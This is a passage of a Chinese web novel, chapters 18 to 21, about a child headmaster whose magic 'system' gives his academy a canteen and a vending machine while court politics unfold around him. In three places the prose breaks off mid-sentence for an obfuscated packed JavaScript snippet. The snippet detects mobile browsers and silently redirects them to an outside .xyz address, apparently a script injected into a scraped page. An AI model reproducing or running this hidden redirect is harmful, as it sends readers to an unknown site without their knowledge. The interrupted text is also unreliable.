岳灼华憋起气,拈起旁边的飞镖,狠狠射在草垛上,沉思着。 三皇子被围困,这属于皇族丑闻,舅舅过去救援,不算立功,反倒像是收拾烂摊子,搞不好,还会得到三皇子一党的忌惮。 而其他皇子和丞相自然乐的袖手旁观,也不会帮忙。 能依靠的只有他自己以及外公那边。 看样子,只能提前想办法收集一些草药和武器给舅舅带上了,钱也要多准备一些,以防半路遇到不测,粮草不足。 她拿起笔,一条条将所需的物品陈列上去,贴身丫鬟芳草却急匆匆推门而入。 “姑娘欸,您还是先别担心柏将军了,倒是先担心担心您自己才是,夫人让您绣的刺绣如何了,若是再没有出来,二小姐她们肯定又会说难听的话的。” “我不会那些东西,你又不是不知道,与其让我捏针,不如让我捏刀。” 岳灼华发愁的用手撑着头,也不知道这日子还要过多久。 自从父亲娶了新夫人,对方出身文官之家,最重礼乐规矩,不仅要求三从四德,晨昏定省之类,连针黹刺绣、一举一动都要求她必须讲究淑女身份,可把她给憋坏了! “您再撑一撑,等嫁人便好了。” “那我一定要嫁个武官,文官家里实在是太麻烦了,我总不能就这么过一辈子吧?” “呸呸呸,别说那不吉利的话,武将哪里是那么好过的?您也看到了柏大将军的处境,要是想过得好,还是文官比较靠谱一些呢。” 但文官墨迹且事多啊。 岳灼华皱紧了眉头,发愁着自己以后的亲事,并心里暗暗决定,以后一定要避开文官群体,哪怕武将过的不好呢,起码也能跑跑马,总比在这后宅,压抑至死的好! 18. 第18章 北上的货船接连回航。 原本装的玻璃制品,被兑换成了一箱箱的珠宝白银,河南府上上下下,赚的盆满钵满,对清虚子也不由更加客气起来,甚至开出了高价,希望他能够离开华夏书院,去自己门下工作,并愿意以上宾之礼待之,条件随便开。 可却全部遭到了清虚子的拒绝。 他又不傻,这个玻璃方子本就是童启拿过来的,以对方说舍就舍的态度来看,便知道那小子肯定还藏着不少好东西!他有必要为了点银钱舍去自己所追求的“科学”大道吗? 更何况,哪里还有比华夏书院更好的条件? 炎热的六月,但凡在外面站一会儿,便会汗流浃背,大太阳如同炙烤一般烘腾着大地,可沧澜山脉内,植物繁盛,反倒成了避暑的最佳去处。 隔了一个冬天,他们总算是知道教室脑袋顶上的那几片铁叶子是做什么用的了,一打开,凉风徐徐,送入屋内,让人忍不住困意。 再搬个躺椅往阴凉地一坐,嚯,别提多惬意了! 谢羽看着自家师父早已经不知道去了哪里的道心,每日悠哉游哉,十分看不惯。 他们天天忙前忙后,为了书院扬名脚不沾地,清虚子怎能独善其身? 于是,他直接将京城里谢家来信,交给了他。 “师父,京城的消息,说是三皇子被困沧州,柏大将军授命带着钦差大臣和军队前往营救,半路很可能会拐道来一趟河南府,到时候,这里的事情定会暴露,我们要不要替山长提前压一压?” 由于隔得远,河南府的事情如今还没有传到京城去,很多是源于这里的知府等人,在刻意遮掩,但若有人一来,那大街小巷的神异传闻,便不太好隐藏了。 尤其是那边还有三皇子一党。 清虚子想了想,“不必,我倒觉得这扬名并非坏事,童启很明显是想要经营好这个书院,只靠这五个学生是不行的,明年县试结束,他定会扩大招生,若是能够让更多人知晓此地,反而更容易守住这里。” “可钦差大人……” “我知道你在担忧什么,但大可不必,你忘了,河南府,可有比华夏书院更值得他们拉拢的人。” “您是说柏盛青柏老先生?” 清虚子摇了摇手里的扇子,悠闲的点点头。 谢羽想了想,终究还是什么都没有做,放任名气继续发散了下去。 于是,在柏大将军及许钦差刚进入河南府地界时,便被铺天盖地关于华夏书院的消息给糊了一脸。 什么神仙拜师啊,什么救济灾民啊,什么玻璃方子啊,这呀那呀的。 柏弓良烦躁的板着脸,十分不喜这种装神弄鬼,脸上贴金的风气,因此只听了个声,便不再理会。倒是许钦差十分好奇,多问了几句,可在听闻这书院刚开了一年,且里面只有两个老师五个学生后,又瞬间消散了兴趣。 倒是这河南府发展的,比两个人想象中要好很多,不仅粮食储备完善,就连物价波动,也是几个州府里相对来说最小的。他们不知道,这其实也是童启暗地里让不少权贵卖出玻璃的同时,采购大量粮食回来卖的原因,只觉得这木知府,似乎也没有传说中的那么不干人事。 因此在带着人进入河南府之后,他们便先给对方下了个帖子,见了一面。 而此刻的童启呢?他也在柏盛青府上做客。 原因是上次的开学典礼他赠送的保温杯得到了对方的喜欢,在玻璃厂建成之后,对方竟然无师自通学着复刻了出来,因此特意邀他来此一观,确认是不是同一种。 童启是真服了这些聪明人,举一反三,以点及面,远比他想象的还要厉害。 恰巧此时伊川章县令也在此处,见到他,忍不住笑出声来。 “来得正巧,刚说要去找你,前段时间递上去的农具,朝廷终于来反馈了,胡丞相亲自给你们书院题了一个匾额,上书国之栋梁四字,你要不要?” “要要要!”童启连忙应承道。 没想到还有这种意外之喜,那些农具他本就没有邀功的意思,若是朝廷赏官赐爵什么的,他反倒不好推辞,谁料竟然是这种荣誉性的物品,低调奢华,反倒全了他的心!以后挂在书院旁边,这妥妥就是第二届招生的活招牌啊! 以后宣传单都不用写了,就说是胡丞相亲口承认的国之栋梁,那名声,正的发光! 见童启满眼真切笑意,柏盛青与章县令对视一眼,默契的笑了出来。 “还是您看人准啊,”章县令叹道,颇有些愧疚的表情。“倒是我心量小了,本以为这次送上去,怎么也能封个散官当当,或者再不济,良田万亩总该有,谁知道……罢了,也是时间赶巧,凑得不及时,就当这次在朝廷上露个脸吧,以后再有什么,定不会如此仓促。” 章县令也没想到,不过一个十岁的孩子,竟然能够翻起这么大的浪花。 短短不到三个月的时间,又是农具,又是救济灾民的,倒是让他另眼相看起来,同时对于自己当时力排众议,点其为县案首的眼光骄傲不已。 童启不好意思的摸了摸脑袋,没有多言回应。 柏盛青将手边的杯子递了过去,“这便是我坊内管事们造出来的杯子样品,你看和你送我的那一种,可是一样?” 童启小心翼翼的接过。 只见那琉璃杯晶莹剔透,其内两层,外壁以乌木为套,上镌刻着石竹山水,把手以玉石为握,光滑澄净,美的如同一件艺术品一般。 倒的确是保温杯的同一种技术工艺,可做出来的成果嘛…… 谁家用得起这么贵的杯子啊! 刚内心吐槽完,旁边的章县令饶有趣味问道。 “这杯子倒是有点野趣,造价几何,回头也送我一柄如何?” 柏盛青笑了笑,“好说,府库里造了不少,你随手挑一个便是。” 童启:…… 好吧,是我对你们这些权贵士族之家了解过少了。 他收起手,规规矩矩的笑道,“倒的确是同一种技术工艺不假,但本身做成这个样子,便已经和我那杯子不是一种类型了。” “既如此,该给的费用还是得给。”柏盛青安下心来,抬了抬手,让管家送上一个木盒。 打开,里面竟然放满了层层叠叠的银票。 童启:!!! “这是三千两银子,”柏大人递给他,温柔的说道,“就当是感谢你当时给与的想法,不必觉得负担,工匠他们已经皆赏过了,若不是你,他们也做不出来,听闻你那书院一个月需要耗费不少银子,收下吧,这些,就当作是我这长辈,聊表心意。” 童启有心拒绝,可奈何对方给的实在是太多了,一出手就是个体育馆的程度,且语气温柔慈祥,不像是假话。 于是只得恭恭敬敬道了谢,再三感激。 坐了一会儿后,他留下两份礼物,被管家带了出去,及至门口,恰巧遇上一位颇为英气,穿着铠甲的中年男人擦身而过,不由多看了两眼。 武将? 这柏大人交际圈可真够广的欸,文臣武将皆有,厉害厉害。 他乱想着,没有在意,顺着东门走了出去,反倒是柏大将军有些意外。 “那小子是谁?什么时候十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806837|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁小童也能够拜访家父了?” 领路的小厮连忙抬头看了一眼,低声解释道,“那位是童案首,华夏书院的山长。” “山长?就他?” 柏大将军吃了一惊。 这闻名整个河南府的书院山长,竟然是这么小的一个小孩子?骗人的吧! 不,也不一定是假的,他们这些文人什么事做不出来?不是说还有过十几岁做宰相的么?真是可怕,他十岁的时候在做什么?估摸着还在军营里打架玩泥巴吧? 人家呢,已经开始教徒弟了? 柏大将军感叹了一会儿文官的变态程度,这才顺着府堂,前往去拜见自己的父亲。 且说童启出了东门,一路穿过繁华的街道,见到周围民生欣欣向荣,好不热闹,心底里开心不已。 恰遇到一个小乞丐正蹲在地上,翻看着手里的几张破纸,念念有词,吃力的认着字,不由好奇的探头看了一眼,忍不住插嘴道。 “是归乡的归。你在自学《千字文》吗?” 那小乞丐被吓了一跳,回头见到童启的个头,又瞬间松下了心,看看左右,道。 “不是,我只是想多认几个字,然后去学几个话本,当个说书先生。” “说书先生?”童启觉得有趣,这还是头一次见到乞丐有这种想法的,他不禁蹲在一旁,跟对方细聊了起来。 “为什么会有这种想法,如果能认字,做其他的职业不是更好一些吗?比如酒楼管事的?” 那可是识字百姓就业排行榜第一位的工作。 “不,我觉得说书先生就很好,能够听各种的故事,而且还能把自己听到的故事落于纸上,世世代代传下去。我就希望自己以后也能这样,把童启拜师,还有童启大师兄的故事都记录下来,等哪日他当上官了,名垂青史,那我这小乞丐也就牛掰了,真正算是古今中外第一人!”他得瑟的说道,眼中尽是憧憬与目标。 童启:…… 好家伙,我就说我的事情怎么总是传播的那么快? 合着靠的是你小子孜孜不倦在外面给我说啊,竟然还想着给我立传,疯了吧! 童启尴尬的笑了笑,委婉的想要劝解一二,“我觉得你的想法是好的,但是也不必拘泥于童启一个人吧?他今年才十岁,便是再如何也还有好久呢,大奉朝这么多厉害的人物,随便搞一个都能够名传千古,也可以记一记其他人的嘛!” 那小乞丐登时瞪了他一眼,提防的收起自己手中的纸张,往外挪了挪,“你也是讨厌华夏书院的人?哼,没有良心,我不跟你说了。” 他起身离开,干脆利落,搞得童启倒像是个坏人,摸摸鼻子,只能将口中解释的话重新咽了下去。 原本想要送出去的横线笔记本,也没来得及送出去。 回到书院,几个学生基本上已经回来了,有着钦差及柏大将军的接手,救济灾民的事情已经用不着他们管,而河南府则受到了巨大的封赏,木知府连升三级,明年初便会被调到京都去。 常仕进非常不服气,忍不住嘟囔道,“那木知府什么都没有做,只是坐着便收尽了好处,倒是我们跑上跑下,反倒替他人做了嫁衣,也太不公平了吧?” 杨舟万宽慰着,“这也正常,朝廷丢了那么大一个面子,需要挽回一些尊严,而木知府就是推出来最好的挡箭牌,咱们在其他人眼里不过就是帮帮忙,能有什么奖赏?” “可那玻璃方子,明明就是咱们山长拿出来的啊。” 几个学生替山长鸣着不平,可童启却完全不在意。 因为,他心心念念的食堂,终于解锁了! 19. 第19章 因童父走镖重伤未愈,童母每日都必须得住在山下,细心照顾。 童淳一下子沦落为了“留守儿童”,无人管束,只得回到书院,和大家一起读书。 虽有继本叔、谢羽帮忙照料,可难免还是会感觉到无聊。 这日,他一个人背着小手在书院内闲逛着,突然见到厨娘的女儿小花蹲在园子里,正低头写着什么字,不由好奇的探出脑袋来。 “你也在学《千字文》吗?那个字不是那样写的,是这样。” 童淳从她手中接过小木棍,重新在地上写了一遍。 小花满脸惊恐,忙跪在地上不住求饶道,“我错了,求您别赶我走,我不是故意要学这些东西的,我只是听到大家在读,所以,所以,我再也不敢了……” 童淳疑惑的眨眨眼,“我为什么要赶你走?你喜欢读这些?我那里还有好多哥哥给的呢,回头可以借给你看。” 小花怔愣两秒,颇有些不解。 之前她随母亲住在五品官家里的时候,也曾听到过小少爷念书,偷摸跟着学了几个字,却不料被夫人发现,差点就要打断她的腿,将她发卖出去,还是母亲不断求饶,这才勉强放过,饶是这样,也罚了一大笔银子,说是女子卑贱,阻挡了他们家的文气之类的…… 因此即便如今住在书院,每日听着朗朗读书声,她也不敢乱学。 这次是实在忍不住了,才写了几个字,不料竟被山长弟弟看到了,还以为会得到一次辱骂,没想到对方却像是比她还觉得感到奇怪一般。 “我不能要那些东西,”小花小心翼翼解释道,“母亲说了,女孩子,不能读书。不然会不吉利的。” “为什么呀?”童淳陪着她蹲在地上,好奇的侧着脑袋,“可男子也读书啊,如果女孩子读书不吉利,那男孩子读书不也会不吉吗?为什么那么多人还上赶着想要来书院学习呢?” 小花摇摇脑袋,“我不知道。” 两个小豆丁凑在一起,绕不过这所谓的逻辑,突然听到身后一阵轰隆响,回过头去,却见到不远处一个原本被遮挡住的地方,缓缓露出栋奇怪的楼房来。 “咦,那是什么?” 一阵薄雾笼罩下,核心之中的烟气渐渐弥散,显现出其内涂满朱砂般的红色二层小楼来,位处于书院西北角的位置,占地面积大概有三百多平,需要穿过大半个操场才能到达。 两个小豆丁仰着头,齐齐发出哇的一声。 “这就是之前哥哥说的正在修葺的地方吗?难道是修好了?” 他们四下张望着,没见到有人,于是好奇的爬上阶梯,推门进入那栋崭新的建筑内。 这里是被完全打通的一整个大厅,宽宽阔阔,四周全是教学楼一般的透明玻璃,厅内摆满了各种桌椅板凳,皆是四人连坐,有红的,也有绿的,好不漂亮! 靠近大门处,放置着两个硕大的垃圾桶,一排排干净的水龙头镶嵌在池子里。 光滑的比板上人影可见,顺着走到尽头,便是一个个奇怪的透明窗户,大概有五六个,被单独分隔出来,遮挡住了所有人的前行,唯有侧面一间小门,隐约可以进入,活像是另一个秘密的天地。 他们小心翼翼的穿过门,往里走。 这才发现其内似乎是一个灶房,各类锅碗瓢盆、菜刀锅铲被摆放在案台上,可奇怪的是,却没有任何烟囱和明火的痕迹。那厚厚一叠的餐盘也形状怪异,不是完整的一个,而是被分成了四个大小不一的区域,像是铁制的,又轻的不像话。 洗水池被分出了好几个,废水直接从地面上的凹槽里流出,干干净净。 巨大的箱子被摆放在两侧,一打开,竟然会有股凉丝丝的冷气。 小花本就是厨房帮工,看的那叫一个目不暇接,全程嘴都没合拢上,见到灶台上旋转的按钮,不由好奇的伸出手,试探着拧了一下。 火焰瞬间窜高而起,吓了两个孩子一大跳! “小心!你们两个捣蛋鬼怎么进来的?” 童启连忙上前,一把关掉燃气灶。 看到童淳和小花惊叹愣住的样子,好笑的揉了揉他们的脑袋,掏出两个棒棒糖递了过去。 “这便是咱们的新食堂了,去,帮忙把王厨娘叫过来一趟。” 两个小豆丁欣喜的接过,忙一起跑出去叫人。 童启抬眸看着这熟悉的食堂背景,内心十分满意。 虽然系统依旧鸡贼,说是食堂就真的只有食堂,连个奶茶店、小卖部也没有跟来,上下十几个窗口,空空荡荡,目前的五个学生压根用不上。可仅仅是那燃气灶和油烟机便让他欣喜不已。 终于!再也不用享受烟熏火燎了,孩子们有了坐着吃饭的地方,再也不必害怕吃着吃着,天上突然掉下来点什么到碗里了。 王厨娘被叫过来,一脸的难以置信。 虽然山长之前就说过,书院的食堂正在修葺中,但她所想象的,是和现在临时盖的那种差不多大的类型,谁能想到,这么明亮宽阔的地方,竟然是用来吃饭的? 而且还统一归她一个人管理? 天哪,这以后是要给多少人做饭才能用得到这么大的屋子? 她竖起十二万分的心思,听着童启一一讲解后厨工具的使用方式,例如燃气灶、冰箱、油烟机之类的,她从未见过,更遑论操作,可当搞明白后,王厨娘立马便懂得了这些东西的方便性。 不需要生火、不需要担水、不需要扇扇子、不需要担心保鲜的问题…… 这还是做饭吗?这分明就是享福啊! 哪家做饭这么轻松的,她这是跟了什么神人,才能过上这样的好日子? 眼见着王厨娘适应的不错,童启这才放下心来,偷摸敲了敲系统的对话框。 “统啊,你不是说免费送我一台自动售货机?哪儿呢?” 他环绕四周,没有见到。 系统无语的点了点最右边角落里,童启这才发现那里停着一台红色的复古模样的巨大书柜。 其上各种按键,大约有四五排,用玻璃格挡着,内里却空空荡荡,没有摆放任何物件。 “你别跟我说只是送售货机,但是不送货啊,难不成要让我自己去搞东西摆里面?” 童启微抽了抽嘴角,一阵无语。 这售货机是他完成随机救灾任务之后,好不容易才跟系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823771|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统争取到的,为此还特意花了五百的声望值,如果只是一个空壳的话,那他就真的要闹了! 系统对话框内回应了他一个巨大的白眼表情包。 “自动售货机内的货物是商城统一配置,可货物的解锁却需要宿主自己来选择,你可以翻翻商城里的货物清单,想要什么,自己解锁即可。” 童启:…… 你这样,让我很难不怀疑你是看到我新得了三千两白银,所以故意宰我的。 “怎么可能?” 系统瞬间跳脚,“我会在乎你那区区三千两银子?呵,要不是你随机任务完成得不错,一直拿远超于任务效果的话来烦我,我才不会管这些呢!跨时空带货也是需要能量供应的好不好,没钱,我哪里给你进货,难不成还要我自己倒贴吗?” 见它炸毛,童启连忙安慰了几句,一顿彩虹屁,这才勉强哄好。 他拿起商城货物清单翻看着,里面的物品琳琅满目,十分齐全。 大到生活用品,小到吃吃喝喝,什么牌子类型的都有,如同一个小型超市一般。可越是脱离这个世界科技发展的便越是贵,像是什么塑料桶、收音机之类的,竟然能高达三千多两才能够解锁,都能买一栋建筑楼了! 反而吃的喝的还算比较便宜,可乐解锁费用才五两银子,泡面的话也才十两。 本来童启就是馋了现代很多“垃圾食品”,这才心心念念想要解锁的食堂,其他都能够复刻出来,但像是泡面、可乐这种东西,当然还是买来的更好吃一些。 于是他率先解锁了可乐和泡面,放入了货架之中。 这两个东西的单独售价倒也不高,可乐三个铜板一瓶,泡面则是五个铜板。 从怀里随手摸出几枚铜钱扔进去,按动货品键,很快的,一瓶竹筒包装的可乐和木制的泡面碗便被掉落了下来。 童启美滋滋打开,喝了一口。 嗯,就是那个味道! 童淳及小花好奇的站在一旁,眼巴巴看着,他伸手拿过一旁的杯子给两人各自倒了一些。 刚入口时,他们还满脸皱巴巴吐了吐舌头,感觉像是在喝中药一般,难以适应,但多尝几口,便立马发现了这种口味的不同。 “嗯,这水里好像有什么东西在跳舞。” “我也感觉到了,而且似乎有种冰冰凉凉的气息……” 两个小孩子一口接一口的抿着,童启则用煤气灶当场烧了一锅热水,给大家演示了一下泡面的做法。 很快的,一股霸道浓郁的香气便迅速充斥了每个人的鼻尖。 “这什么味道,好香啊?” 刘卜温等人下课后走进来,打量着这座新出现的建筑,见到童启吃的东西,也立马提起兴趣来,纷纷照着模仿学习。 于是当日,华夏书院里每个人的午饭,都是泡面配可乐。 不同于其他的美食难以保存、携带的劣势,自动售货机随时按下键来,便能够吐出东西,且能存放好几日不腐烂,再加上价格、味道也十分实惠,于是很快,便成为了书院里的“新宠”。 下次旬假时,书院里的孩子们便不由给各自家里都带了几瓶几袋回去。 20. 第20章 “什么样的好东西,也值当着你这么郑重其事的要我们品尝?” 刘家家主被自家儿子强硬的按坐在椅子上,看到面前摆放的面碗和竹筒,颇有些哭笑不得。 刘卜温一脸的神神秘秘。 “当然是好东西了,爹,我保证,你尝完,绝对会觉得物超所值!” 刘明皓挑了挑眉,半信半疑。 大半辈子走镖,说看尽山水也不为过,哪个地方的特产他没尝过吃过?如今帮着权贵们运送琉璃,那更是开了大眼界,受尽追捧,不过一碗面,能有多好吃? 刘明皓本能的有些看轻,可当刘卜温将所有的调料放入碗中,拿着沸腾的水冲泡出来之后,只是简简单单的东西,却骤然绽放出难以抵抗的香气。 “什么情况,怎么这么香?” 刘明皓被吸引了注意,好奇的拿起筷子,挑了几根放入口中,不知不觉几筷子便将这碗面吃了个干净,仍意犹未尽。 “嗯,味道倒是不错,感觉这汤料里下的东西不少,就是可惜面不算多,价格几何,应该不低吧?” “才五文钱!” “五文?”刘明皓深感意外,这年头连碗阳春面都要三文钱,里面除了面就只有几根青菜,而这一份他明明吃到了不少罕见的调味料,还隐隐有股肉类的香气,才卖五文? 倒是不算贵。 “关键是保存时间久,吃起来也方便!听山长说,这东西能存个半月之多,爹,回头你们镖局出去送货,可以多买点带到船上去!”刘卜温略带着炫耀的语气说道,一副乖巧贴心的模样。 刘家家主一听是华夏书院制作出来的,顿时换了一副信服的表情,态度大改道。 “那便是了,你们山长一贯聪慧,能做出这样的东西也是正常。只是……这东西,你们山长允许带下山吗?” “为什么不行?不过就是一些吃食罢了,只要想买,没人会阻拦。为此,山长还特意设置了一个机关柜呢,也不知是何原理,只要一按,东西便能掉下来,方便极了。” 刘明皓若有所思。 自上次琉璃工厂一事后,刘明皓才知晓了什么叫做顶级谋士,只一计,便轻而易举救下了他们刘家,救下了那些失去亲人的镖师家属,更救了千千万万的灾民们。最关键的是,还能做到轻飘飘全身而退,不落入任何陷阱。 什么叫做文人的脑子?他算是彻底见到了。 而作为最清楚内幕实际情况的人之一,刘家自然顺理成章成为了华夏书院的铁杆拥趸。 他可以说,如今对县太爷都没有对童启这般尊崇,但凡有任何风吹草动,便不由思考着是不是对方又想要做些什么,他是否能帮上忙,又不至于暴露童启的身份。 刘明皓想了想,试探着询问自家儿子。 “你们山长做的这些吃食,是打算卖?还是如何?” 若是想要卖,他完全可以用全胜镖局的商道去带着卖出去,肯定不愁销路,但若不是想要卖,那可能便是为了图谋其他目的了,他们不仅不能声张,还得帮着保密才是。 刘卜温愣了愣,露出一个清澈而愚蠢的模样来。 “不确定,要不……我去问问?” 不止刘家,其他拿到这吃食的学生家里,自然也发现了这种食物的便利之处。 储存久、易携带,味道还不错,这不就是妥妥的劳役必需品吗? 随着一年过半,伊川县的劳役抽调工作也正式开始。 每家每户都须得出一个人前往服役,为官府做一些事,有时候是修缮河道,有时候是县衙维修,因着今年黄河决堤,几个县衙里也开始注意起水利沟渠来。 章县令打算重新疏通一下附近的河道,防止夏日降雨过多,造成堵塞。 从放出消息开始,伊川县每家每户便开始准备起服役的东西来。 干粮,被褥,衣服,鞋袜,一次性就得准备一两个月的,这种“方便面”自然就成为了十分合适的采购品。 童启也没想到,解锁食堂后第一个给他赚钱的,竟然会是自动售货机里的方便面。 他看着伊川县书薄递上来的单子,一脸迷茫。 “你说你们县衙想买多少方便面?” “五百碗,不知可有?” 新任书簿亲切而客气的说道,他是伊川县本地人,自然知晓前任书簿是怎么犯得罪被搞下去的,因此对童启那是十分恭敬。 “有倒是有……就是可能要等一段时间。”童启迟疑道。 “无妨,只要能在劳役前凑齐便可,县令大人这也是心善,可怜那些家中无钱置办吃食的百姓,所以特意买的这些,用作补贴。” 若是以往,章明浩才不会管这些事情,但这不是治下有个书院带头做慈善嘛,他倒也不得不借着光,注意起自身的名声来,说不得粘带着,明年便能有升迁之喜呢? 就如木奎盛木知府一般…… 童启无语的看着自己手里接下来的单子,光是这几日想要从他这里统一采购方便面的,便有五六位,加起来估计得按上千次按键才行,赚钱倒是也多少赚点,可这方式,怎么看怎么不像是个书院啊? 倒像是搞什么食品批发的? 万万没想到书院里率先火的会是这个,童启感叹了两句,只得将这些订单统一交给王厨娘去负责,然后便立马操练起学生来,举行了一次期中大考,狠狠的磨了磨他们的性子。 不过一次实践活动罢了,就让这些孩子心都野了。 整日不谈什么四书五经,科举致仕,反津津乐道起一些赚钱的法子,这万一走偏了,放弃学习搞起商业来,那他可就真的是大错特错了。 几日的连考,如一道龙卷风,强行将所有人跃跃欲试的心给压了下来。 成绩一出,像是盆凉水狠狠浇灌在了众人脑袋上。 “就这,你们还想考县试?不如趁早回去种地好了,事先声明,我这书院可不是让你们来赚钱混日子的,这世上多少人想读书而不得,你们拥有这么好的学习环境,若只是在这里闲聊打瞌,那抱歉,你可能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832391|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适合在我们书院学习。” “我们书院是以培养全天下最优秀的士大夫为主的,因为是第一年,所以并没有筛选考察,但第二年,马上就会进来更多优秀的学生一起学习,你们如果能够挺得住和后辈们一起学习,被围观的丢脸样子,那请随意,但我只给你们三次机会,考不中,就离开,不需要在这里浪费时间。” 头一次见到童启如此严肃的传达标准,所有学生们被吓得脸色惨白。 呐呐不敢语。 他认真考虑过了,这里不是21世纪,讲究什么全面发展,即便考不上也条条大路通罗马的时代,大奉朝阶级森严,读书就是为了当官,当官就得通过科举,平民若想要翻身,只有这一条路可以走。 从商、从农、从事其他形形色色的行业,他都不会鄙视看轻,但他这书院,要想要打破阶级差,屹立于大奉朝不被权贵争夺破坏,那还是得坚定科举之路不动摇。 只有往朝堂输送多多的优秀人才,才能够尽可能多的争夺话语权,去稳固住这江山,以保平安。 不然朝堂上一旦有了什么歪主意,就像是这次的救灾行动一样,那便会引发强烈的动乱与混沌,若误打误撞再造成了历史上南宋那样的情景,那别说开书院了,只怕童启手握系统,都得找棵歪脖子树自己吊上去,以免被生生气死在这里。 感受到了童启的说一不二,一众学生们顿时头皮一紧,不敢再乱言,规规矩矩的继续奋斗起明年的县试来。 而此时,一个略显意外的人,也慢悠悠乘着马车,到达了沧澜村。 “就是这里?野山野水,看起来倒还算不错。” 一只白皙的手缓缓掀起车帘,打量着这沧澜山脉,温叶辞拿起帕子咳了两声,脸颊上泛起不太正常的红晕,换了轿,令小厮们抬着继续往山上走去。 虽然这次的府试他成功拿下了第一名,但心底里却并没有多少喜悦,因为他知道,那是童启没有到场,若是他在,这第一,还未必是谁的。不怕敌人太强大,只怕敌人连战也没有战的心思,那么,孰胜孰败,连第二次对比的机会都没有。 温叶辞如今就是这么个想法。 他听闻近日童启这书院风头大胜,感觉多少也算是扬了名,满足了对方那神秘师父的心意,于是不由再次思考起科举的事情来,眼见着院试马上开始,虽然对方曾说过这几年不再参加,但他不甘心,还是想来问一问童启的意思。 他想和童启真刀真枪的在考场上见面。 轰轰烈烈的再斗一场。 本以为这书院会像他想象的那样,十分破旧守成,可当轿撵停靠在半山腰处,他踏步而出,见到那辉煌大气的牌匾楹联时,不由还是惊了两惊。 这便是童启口中那随便教教的书院? 怎得如此恢宏磅礴,倒是比传闻中的四大书院看起来还要郑重其事一些,定睛细看,那华夏书院四字旁边还挂着一个多出来的小匾额,上写着“栋梁之材”四字。 龙飞凤舞,字迹不俗,落款竟是胡丞相! 21. 第21章 听闻到温叶辞的前来拜访,正在上课的童启十分意外。 他与这人不过在王举人那里见过一面,之后便再无交集,这陡然的,怎么还登门了呢?不会是有什么事吧? 让学生们先自习着,他请进来倒茶后细问,这才知道对方是为了询问院试的事情。 其实童启也在犹豫。 这是书院的第一年,他不想分心,所有的重点基本上都放在了培养学生身上,可即便再快,学生们看到结果,也得等到明年三月份之后,眼见着伊川县劳役即将开始,每家每户都要出一个人,他们家自然也不会例外,如今童父重伤未愈,是不可能带病前往的,那么他只能花钱找人,帮忙代替。 若身为秀才的话,这笔钱,自然便能省下。 大奉朝虽然破破烂烂,一身诟病,可对于文人阶级的待遇,那还真是没得挑,只要考中秀才,每年便能免除劳役的抽调、二十亩良田的税收,还能见县令不跪,拥有参政权……反正福利多多。 更重要的是,这一次的黄河决堤救灾民任务,华夏书院出了太多的风头,与他原本“苟着发育”的想法完全相反,他担心若哪一天撞进了某位权贵的眼,或许这家书院,便没有了自保之力,就像是这次的琉璃方子一般,最后只能眼睁睁着让出,任由其他人顶替荣誉。 秀才的权力虽也没多大,好歹属于功名位列之中,若真遇到了“有心之人”,也不至于毫无还手之力。 话是如此说,可院试却也不是那么好考的。 马上还有两个多月就要到达八月份,他还没做任何准备,贸贸然去考,不仅代表着自己,还有华夏书院的名声。 若拿不到好的名次,丢人事小,丢面事大,以后山长还怎么当?如何服众? 有太多要操心纠结的事堆积在童启脑子里,可万般话语,却不能说给温叶辞去听。 他知晓对方是出于好意,于是只能先敷衍着,表示会认真考虑一下,再做决定。 “咳咳,那便好,是要冷静想一想,再思考如何做。” 温叶辞见其松口,颇为欣慰的点了点头,端起桌上的茶水润了润嗓子。 见对方咳疾还未好,似乎比以往还要更严重些,童启关切道。 “你这咳嗽是什么原因,怎么感觉比上次更重了些?” “不妨事,老毛病了,只是上次府试时不慎感染了风寒,如今还没好全罢了,养养便好。” 童启点点头,正好他也想着多问一些跟科举流程相关的事情,于是顺势邀请对方留下来,在书院多住几日,给学生们讲讲县试、府试的事情,他也好找一找自动售货机里的川贝枇杷膏,给对方当个回礼。 温叶辞稍加犹豫一下,立马同意了。 山中清幽,本就利于养身体,再加上之前的琉璃工坊,他们温家乘了不少人情,多住几日,也无妨。倒是他旁边的小厮墨韵欲言又止,十分不满。 不过一个普普通通的书院罢了,有什么可多呆的?再舒服,能有他们温家舒服么?少爷多金贵的人啊,竟然如此低声低气的跟一个十岁小孩说话,若不是惜才,他们犯得着跑这么大老远,到这个穷乡僻壤来吗? 继本叔在童启的安排下,将两人带到宿舍楼。 温家好歹皇商出身,吃穿用度不比其他,虽对书院很多设施感到好奇,却没有像其他人那般惊愕。 只是短短摸索两下,便迅速懂得了其内的原理,像是水龙头、风扇之类的东西,倒也能叹一句心思精巧。 